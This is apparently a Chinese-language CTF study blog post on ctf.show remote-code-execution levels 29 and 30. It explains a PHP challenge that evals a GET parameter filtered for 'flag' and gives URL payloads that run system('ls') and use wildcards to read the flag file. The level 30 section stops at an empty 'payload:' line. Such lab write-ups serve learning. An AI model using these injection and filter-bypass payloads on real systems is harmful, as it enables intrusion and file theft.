不在沉默中崛起,便在沉默中变态
--莫迪大仙
引言:最近学习没有头绪,想着把ctf随便刷一刷,过过瘾,试着看能不能每条10到15道题目,并且写下相关的学习记录,持续十天!今天是RCE板块29关至40关
一、实验准备
1、ctf网站:ctf.show
2、工具:firefox浏览器、hackbar插件
3、区分RCE中代码执行和命令执行的区别
(1)代码执行转换为命令执行:使用system等相关函数包裹所需执行命令
(2)命令执行转换为代码执行:使用java/python/php等语言执行器执行相关文件
二、实验过程
(一)、第29关 代码审计(php代码)
由于是第一道题目,我尽量把代码逻辑捋一捋。
1、error_reporting(0)表示关闭报错显示
2、if语句中使用$_GET接受网页传来参数值并且赋值给变量$c
3、使用函数preg_match()函数对变量$c进行正则表达式过滤flag
4、使用对变量$c执行eval函数将传入参数当作代码执行
通过以上分析,我们果断使用通配符*或者占位符?进行绕过
验证所需读取文件payload:
https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("ls");
通配符payload:
https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("tac *lag.php");
占位符paylaod:
https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("tac ?lag.php");
(二)、第30关 代码审计
观察形式与上一关的不同之处在于此关还过滤了system函数,不过没关系,我们只需使用其他可以使用命令执行的函数进行绕过即可
payload:
先卡一下。